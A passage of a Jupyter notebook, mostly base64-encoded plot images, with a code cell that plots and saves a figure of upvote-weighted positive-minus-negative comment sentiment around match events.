37t3YuHEjEhISUF5e\n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\nRGRK/x8gMR2paoMy/wAAAABJRU5ErkJggg==\n", "text": [ "<matplotlib.figure.Figure at 0x7f42229276d8>" ] } ], "prompt_number": 11 }, { "cell_type": "heading", "level": 3, "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "Plot figure (weighted)" ] }, { "cell_type": "code", "collapsed": false, "input": [ "# Plot weighted figure\n", "fig,ax,axtop = plot_sentiment_figure(weighted_posneg_df,match_events,opposition)\n", "ax.set_ylabel('# Pos - Neg Comments (weighted by upvotes)')\n", "fig.tight_layout()\n", "# Save\n", "fig.savefig('./figures/weighted_' + analysis_name + '.png',dpi=300)\n", "fig.savefig('./figures/weighted_' + analysis_name + '.pdf',dpi=300)" ], "language": "python", "metadata": { "slideshow": { "slide_type": "slide" } }, "outputs": [ { "output_type": "display_data", "png": "iVBORw0KGgoAAAANSUhEUgAAAagAAAI/CAYAAAAiOU2mAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzs3Xd8FHX+P/DXbMumV0JIAgkJHQlCkIOgiAieKKJ3eHY9\nuRO/iuCPQ7EfNlCwHBxFLCCKnnd4IughIkZKaFF6QJokJCEJIaSX3c22+f2xO5PZzSbZmWyZTd7P\nx4OHyWbLZ8fZfc/7/XnPZxiWZVkQQgghMqPw9wAIIYQQVyhAEUIIkSUKUIQQQmRJ5e8BEP8xGAyo\nrq6G1WoFwzD+Hg4hrbAsi8jISISHh/t7KMQPKEB1Y5WVldBoNBSciKzV1dVRgOqmqMTXjTEMQ8GJ\nyB7to90XBSgSEObMmYPTp0/7exgeM3nyZABd732J9dZbb2H79u3+HgaRKQpQxC1FRUXIzs5GUVGR\nv4dCCOkmaA6KtKu+vh4zZ85EXl4eqqqqEBsbi4yMDHz00UeIiIgQ9VxmsxmPPvoo6urq0K9fP+h0\nOkycOBEffPABGIbB/PnzMXHiRKxcuRLZ2dloaGjA3//+d0yYMME7b06gtHQejMb8VrdrNOlISvqH\n28/z4osv4vbbb8fo0aOxc+dOHDhwAA0NDThz5gwUCgVWrFiBxMTEVo+zWCyYPXs2ysrKEBoaivfe\new/ffvstQkNDccstt6B///7Izc1FcXEx9uzZg2effbZT79cXDh06hJdeegnBwcEYO3YsfvzxR/z4\n448AbBkk9/PGjRuxdu1aAMDatWsRFhbmtzETeaEMirRr5syZ2LlzJ6qqqgAAVVVV2LlzJ2bOnCn6\nub7//nukp6dj48aNGDp0KCwWC/75z39i8+bN+PLLL/Hmm28CAP7yl79g8+bN+M9//oOlS5d69P20\nxWjMh053oNU/V0GrPXfffTe++uorALYv3p49eyIyMhKbNm3CCy+8gOXLl7t83NatW5GYmIhvvvkG\nd9xxB9asWYMxY8YgNzcXR44cwbXXXovc3Fzk5uZi7NixnX6/HZm3cx5u33Q7/2/eznminyM7OxtP\nP/00Nm3ahKeffrrN+/Xp0wcbNmzAlClT8Nlnn3Vm2KSLoQyKtKmwsBB5eXku/5aXl4eioiKkpKS4\n/XwXLlxARkYGAGD48OH47rvvkJycDK1WC61WC5VKBbPZjP/+97/YuHEjFAoFLl++7JH34isZGRk4\nd+4c6uvrUVZWhoEDB+L7779Hbm4uWJZ1mT0Btm1z9dVXAwBGjBiBXbt2oX///vjtt99w4MABzJ07\nFxs3bkRZWRkee+wxr7+P/Np8HLh0oFPPMWPGDCxduhRfffUV7rzzToe/CVdY4/aJESNG4PPPP+/U\na5KuhTIo0qbz58/zmZOzqqoqnD9/XtTz9e3bFydPngQAnDhxArGxsbh48SIMBgMaGhpgMpmgUqmw\ndu1abNq0CR9++CECcanIyZMnY/78+bj55pvRv39/TJs2DZs3b8Y333zTZgbVt29fHD16FABw9OhR\npKWlgWEYREVF4ZdffsGYMWNQUVGB5uZmhISE+PLtSBYREYHFixdj+fLleP3116FUKtHY2IjGxkaH\nuUxunzh27Bj69u3rr+ESGaIMirSpf//+iI2NdRmkYmNj0a9fP1HPN2XKFGzatAnTp09HSkoKtFot\nnnzySdx+++1QKBR4/vnnAQCjR4/G1KlTMWrUKISGhnrkvfjSnXfeicWLF2PhwoWIi4vD3r178Yc/\n/AEMw2D69Om4//77Wz1mypQp+O677zBt2jR+DgoAfve73+Hnn38GAMTHxwfU/Mz69evx3XffwWw2\n4+6770ZsbCxuu+02jBw5EgkJCfz9SktL8ac//QkMw/BzUYQAAEOrmXdfpaWl0Gg07d7n7rvvxs6d\nO1vdfsMNN2DDhg2iX9NkMkGtVmP9+vWora3Fk08+Kfo5vOHChduh07UuaYWEjEXfvt+Ieq7Lly9j\n/vz5WL9+vaeG53Pzds5Dfm3L/Ft6VDr+cYP7zSKeZDQakZSU5JfXJv5FGRRp10cffdRmF58UDz30\nEJqamqDRaCQ/hzdoNOmibm/Lzz//jFdffRWvvPKKB0blP/4KRoQIUQbVjbmTQXGKiopw/vx59OvX\nT1RjBCGdRRlU90UZFHFLSkoKBSZCiE91ywBVVlbm7yH4XVxcHHQ6HQBa60wsrh2eSCN2++l0OvrM\n2sXFxaGystLfw+i0tk63cNYtAxSx0Wq1FKQkCAoKQnNzs7+HEbDEbD+WZaFWq708IiJXFKC6MaVS\nGZBt3P7WVY5i/YW2H3EXnahLCCFElihAEUIIkSUKUIQQQmSJAhQhhBBZogBFCCFElihAEUIIkSUK\nUIQQQmSpwwD14IMPtrpt+/bt2L17t1cGJNWvv/6KxYsX+3sYhBBCPETSibo33XSTR17cYrFAqVR6\n5LkIIfJVXj4fRmMBAODSJTVMJhMAQKNJQ0LC2/4cWoeEYxcKhLEHOkkB6ssvv4RWq0VmZiZWrlyJ\nN998EwBQUVGBJUuW4N1330VBQQE+/fRTGAwGREREYNasWYiOjsYrr7yC1NRUnDlzBuPGjUNxcTHU\najUKCgqg1+vx0EMPITMzE0ajEWvWrEF+fj6USiUeeughXHXVVW3eTghp3/yc+Sioa/miTYtMw9vj\nffMFazQWwGDIBQAYDD55SY8Rjh0A3jkLlOgBheJXBAUV+HQ7djedWuooKSkJZrMZFRUViI+Px/79\n+5GVlQWz2YyPP/4YzzzzDCIiIrB//378+9//xqxZswAAZrOZL8etWrUKV65cwRtvvIHLly/j1Vdf\nxbBhw/DDDz8AAN59912UlpZi4cKF+Oc//9nm7YSQ9hXUFSC3PLfjO5J2leiB43UA0ACAtqc3dXot\nvrFjx2L//v244447cODAAcydOxdlZWW4ePEiXn/9dQCA1WpFdHQ0/5isrKxWz6FQKNCrVy/07NkT\nZWVlOHPmDKZMmQLAFgh79OiBS5cutXl7e7Kzs5GdnQ0AWLx4MeLi4jr7tgOeSqWi7SBRoG4750VX\n1Wq1z97HpUtql5mTL8cgVVtj5/jyPQTqvidVpwNUVlYWli5ditGjRwMAevXqheLiYiQnJ2PRokUu\nHxMUFOTwu7dX0p40aRImTZrE/04LVdKCnZ0RqNuOm/cR/u6r9+H82v4Yg1RtjV34d1+9h0Dd95y5\ne7mNTreZJyQkQKFQYOPGjXxmlJiYiPr6epw7dw6AraR38eLFNp8jNzcXVqsV5eXluHz5MhITEzF4\n8GDs2bMHgO36TZWVle3eTghpX1pkGsYkjOH/pUWm+XtIASk5GBgeCYyIDqft6GUdZlBGoxGPPfYY\n//vUqVNb3Wfs2LH4/PPPsXLlStuTqlR46qmnsG7dOuh0OlgsFtxyyy3o3bu3y9eIjY3FCy+8AL1e\nj5kzZ0Kj0eCmm27CmjVr8NRTT0GpVGLWrFlQq9Vt3k4IaZ8/J/I1mpYvcbXasYtP7pzH+NLwltup\ni8+7GJZlWX8OYNWqVcjMzMSYMWN89pp0dc6uUyrwB9p2nUPbT7qusu18VuIjhBBCvMHvV9R94okn\n/D0EQgghMkQZFCGEEFmiAEUIIUSWKEARQgiRJQpQhBBCZIkCFCGEEFmiAEUIIUSWKEARQgiRJQpQ\nhBBCZIkCFCGEEFmiAEUIIUSWKEARQgiRJQpQhBBCZIkCFCGEEFmiAEUIIUSWKEARQgiRJQpQhBBC\nZIkCFCGEEFmiAEUIIUSWOgxQDz74oNtPdujQIWzevLlTAxLatWsXqqurPfZ8hJCuq7i4GD/99BOK\ni4v9PRRZjSWQqTz5ZKNGjcKoUaM89ny7du1C7969ERMT4/ZjLBYLlEqlx8ZACJG3+vp6PP7448jL\ny0N1dTViYmKQkZGB1atXIyIiotuMpbx8PozGgla3azRpSEh426uv7S2SAlR9fT0+/PBDVFVVAQD+\n/Oc/Y9CgQdi1axfy8/Px17/+FbW1tfjoo49QUVEBAHjkkUcwcOBA5OTk4Pvvv4fZbEb//v3xyCOP\nAABWr16NggLbxr3hhhsQFxeH/Px8LF++HBqNBosWLUJJSQk+/fRTGAwGREREYNasWYiOjsYrr7yC\n1NRUnDlzBuPGjcNtt93miW1DCBGYnzMfBXUtX4BpkWl4e7z/v/gef/xx7Nq1i/+9uroau3btwuOP\nP45//etfATsWV9t73R/XtXl/o7EABkOu6DHLmaQAtW7dOkydOhWDBg1CZWUlFi1ahKVLl7a6z5Ah\nQzB//nxYrVYYDAaUlJRg//79eP3116FSqbBmzRrs2bMHvXv3RnV1Nd59910AQFNTE0JDQ7Ft2zY8\n+OCDSE9Ph9lsxscff4xnnnkGERER2L9/P/79739j1qxZAACz2YzFixd3cnMQQtpSUFeA3HJ5fQEW\nFRUhLy/P5d/y8vJQXFyMPn36BORY5Li9fU1SgDpx4gRKSkr433U6HQwGg8N9Tp48idmzZwMAFAoF\nQkJCkJOTgwsXLuD5558HABiNRkRERCAzMxMVFRX4+OOPMXLkSGRkZLR6zbKyMly8eBGvv/46AMBq\ntSI6Opr/e1ZWVpvjzc7ORnZ2NgBg8eLFiIuLk/K2uxSVSkXbQaLuuu3UanWr36VsB09uv0OHDrU5\nT11dXY0rV65g5MiRHnktX4/F1fZub9tduqSG09cw/7hA3V8lBSiWZbFo0SJoNBrRj7v++utx3333\ntfrb22+/jWPHjmH79u3Yv38/nxkJJScnY9GiRS6fOygoqM3XnTRpEiZNmsT/XllZKWrcXVFcXBxt\nB4m667YzmUytfpeyHTy5/eLj4xETE+MyMMTExKBHjx4++3/l6bG42t5ms7nN53C+v/B2ue2viYmJ\nbt1PUpt5RkYGtm3bxv9eWFjY6j7Dhg3D9u3bAdiyHZ1Oh2HDhiE3Nxd1dXUAgMbGRly5cgX19fWw\nWq0YM2YM7rnnHly4cAEAoNVqodfr+TdUX1+Pc+fOAbCV9C5evChl+IQQCdIi0zAmYQz/Ly0yzd9D\nQp8+fVxWXADb95SvynveGIsct7evdZhBGY1GPPbYY/zvU6dOxYwZM7B27Vo8/fTTsFgsGDx4MB59\n9FGHxz388MP48MMPsWPHDigUCsycORMDBgzAPffcg4ULF4JlWSiVSvz1r3+FRqPB6tWrYbVaAYDP\nsCZMmICPPvqIb5J46qmnsG7dOuh0OlgsFtxyyy3o3bu3J7cHIaQNcmiIcGX16tVtds4F8ljEbm+N\nxnUAa+v2QMCwLMv6exC+VlZW5u8h+F13LVN5Am27zvHW9isuLkZ+fj7S09N9mjn5cixdZd9zt8Tn\n0fOgCCHEX/r06eP3wMSR01gCGS11RAghRJYoQBFCCJElClCEEEJkiQIUIYQQWaIARQghRJYoQBFC\nCJElClCEEEJkiQIUIYQQWeqWK0kQQgiRP8qguqnnnnvO30MIWLTtOoe2n3TdbdtRgCKEECJLFKAI\nIYTIEgWobkp4AUciDm27zqHtJ11323bUJEEIIUSWKIMihBAiSxSgCCGEyBIFKEIIIbJEAYoQQogs\nUYAihBAiSxSgCCGEyBIFKEIIIbJEAYoQQogsUYAihBAiSxSgCCGEyBIFKEIIIbJEAYoQQogsUYAi\nhBAiSyp/D8AfysrKvP4ahYWFXn+NzsjIyEBeXp6/hxGQOtp2qampvhuMBP7eN2nfk87b285X+25i\nYqJb96MMihBCiCxRgCKEECJLFKAIIYTIEgUoQgghskQBihBCiCxRgCKEECJLFKAIIYTIEgUoQggh\nskQBihBCiCxRgCKEECJLFKAIIYTIEgUoQgghskQBihBCiCxRgCKEECJLFKAIIYTIEgUoQgjxgca1\na9G4dq2/hxFQKEARQoiXsSyL5l270LxrF1ir1d/DCRgUoAghxNsoKElCAYoQQrxNGKAoWLmNAhQh\nhHibMCixrP/GEWAoQBFCiJexFKAkoQBFCCHeRiU+SShAEUKIt1EGJQkFKEII8TZBgGIpQLmNAhQh\nhHgbZVCSUIAihBAvY2kOShIKUIQQ4m2UQUlCAYoQQryNApQkFKAIIcTbKEBJQgGKEEK8TDgHRYvF\nuo8CFCGEeBtlUJJQgCKEEG+jACUJBShCCPE2YVCiAOU2ClCEEOJlrMUi+IUClLsoQBFCiLdRiU8S\nClCEEOJttJKEJBSgCCHE2yiDkoQCFCGEeButZi4JBShCCPEyWixWGgpQhBDibdRmLgkFKEII8Taa\ng5KEAhQhhHgbBShJKEARQoiX0RyUNBSgCCHE26iLTxKVvwfgitVqxXPPPYeYmBg899xzqKiowLJl\ny9DQ0IC0tDTMmTMHKpUKJpMJK1euREFBAcLDwzF37lzEx8f7e/iEEOKISnySyDKD2rp1K5KSkvjf\nP//8c9x6661YsWIFQkNDsWPHDgDAjh07EBoaihUrVuDWW2/Fv/71L38NmRBC2kYlPklkF6Cqqqpw\n5MgR3HjjjQBs6fCvv/6KMWPGAAAmTJiAgwcPAgAOHTqECRMmAADGjBmDkydPUvpMCJEfyqAkkV2J\n75NPPsEDDzwAvV4PAGhoaEBISAiUSiUAICYmBtXV1QCA6upqxMbGAgCUSiVCQkLQ0NCAiIgIh+fM\nzs5GdnY2AGDx4sWIi4vz+vtwHoPcBAcHIyMjw9/DCEgdbTuNRuPD0Yjn732zO+57lwoKcMb+c3pa\nGqIkvn9vbzu57buyClCHDx9GZGQk0tLS8Ouvv3rseSdNmoRJkybxv1dWVnrsudtSWFjo9dfojIyM\nDOTl5fl7GAGpo22Xmprqu8FI4O99szvue4biYv7n/PPnoVarJT2Pt7edr/bdxMREt+4nqwB19uxZ\nHDp0CEePHoXRaIRer8cnn3wCnU4Hi8UCpVKJ6upqxMTEALBlU1VVVYiNjYXFYoFOp0N4eLif3wUh\nhDihEp8kspqDuu+++/D+++9j1apVmDt3Lq666io8+eSTGDp0KHJzcwEAu3btwqhRowAAmZmZ2LVr\nFwAgNzcXQ4cOBcMw/ho+IYS4RgFKElkFqLbcf//92LJlC+bMmYPGxkZMnDgRADBx4kQ0NjZizpw5\n2LJlC+6//34/j5QQQloTnqjLUhef22RV4hMaOnQohg4dCgDo2bMn3nzzzVb30Wg0mDdvnq+HRggh\n4lAGJUlAZFCEEBLQKEBJQgGKEEK8jQKUJBSgCCHE22glCUkoQBFCiJexlEFJQgGKEEK8jVYzl4QC\nFCGEeBtd8l0SClCEEOJtFkvLzzQH5TYKUIQQ4mU0ByUNBShCCPE2ClCSUIAihBBvozZzSShAEUKI\nt1EGJQkFKEII8TKW2swloQBFCCHeRm3mklCAIoQQb6M5KEkoQBFCiLdRUJKEAhQhhHgbZVCSUIAi\nhBAvoxN1paEARQgh3kYBShIKUIQQ4m3UZi4JBShCCPE2moOShAIUIYR4Gc1BSUMBihBCvI0ClCQU\noAghxNuoxCcJBShCCPE2yqAkoQBFCCFeRnNQ0lCAIoQQb6M2c0koQBFCiLfRHJQkFKAIIcTbqMQn\niegAZTAYUFVVBYPB4I3xEEJI10MBShKVO3cqLi5GdnY2jhw5gitXrvC3x8fH4+qrr8bkyZPRp08f\nrw2SEEICGUsXLJSkwwC1bNkylJSUICsrC3PmzEFSUhKCg4Oh1+tRWlqKU6dOYfny5UhOTsbcuXN9\nMWZCCAksNAclSYcB6rrrrkNmZmar28PCwjBw4EAMHDgQf/jDH3D48GGvDJAQQgIelfgk6XAOylVw\n6sz9CCGk27FY+B+pzdx9bs1Bcfbu3YvU1FQkJyejrKwMH3zwARQKBR555BEkJSV5a4yEEBLQ6ERd\naUR18W3YsAFhYWEAgPXr1yM9PR2DBw/GmjVrvDI4QgjpEihASSIqQNXX1yMqKgpGoxFnz57Fvffe\nizvvvBOFhYVeGh4hhHQBFKAkEVXii4iIQHl5OYqLi5Geng61Wo3m5mZvjY0QQroGYVCiLj63iQpQ\n06dPx7PPPguFQoG//e1vAIATJ04gJSXFK4MjhJCugOagpBEVoCZMmICxY8cCAIKCggAA/fv3p/Of\nCCGkPRSgJBG91JHRaMTPP/+Mb775BgBgsVhgEbRQEkIIcSJczZxKfG4TFaBOnTqFuXPnYs+ePdi4\ncSMAoLy8HB999JFXBkcIIV0CZVCSiApQn3zyCebOnYsXX3wRSqUSANCvXz/k5+d7ZXCEENIlUICS\nRFSAunLlCoYNG+Zwm0qlohIfIYS0g5okpBEVoJKTk3Hs2DGH206cOEErmRNCSHtosVhJRHXxPfjg\ng1iyZAlGjBgBo9GIDz/8EIcPH8b8+fO9NT5CCAl8lEFJIipADRgwAG+//Tb27NkDrVaLuLg4vPHG\nG4iNjfXW+AghJPBRgJJEVID69ttvMW3aNNx+++0Ot2/ZsgVTp0716MAIIaQrYFnWISjRaubuEzUH\n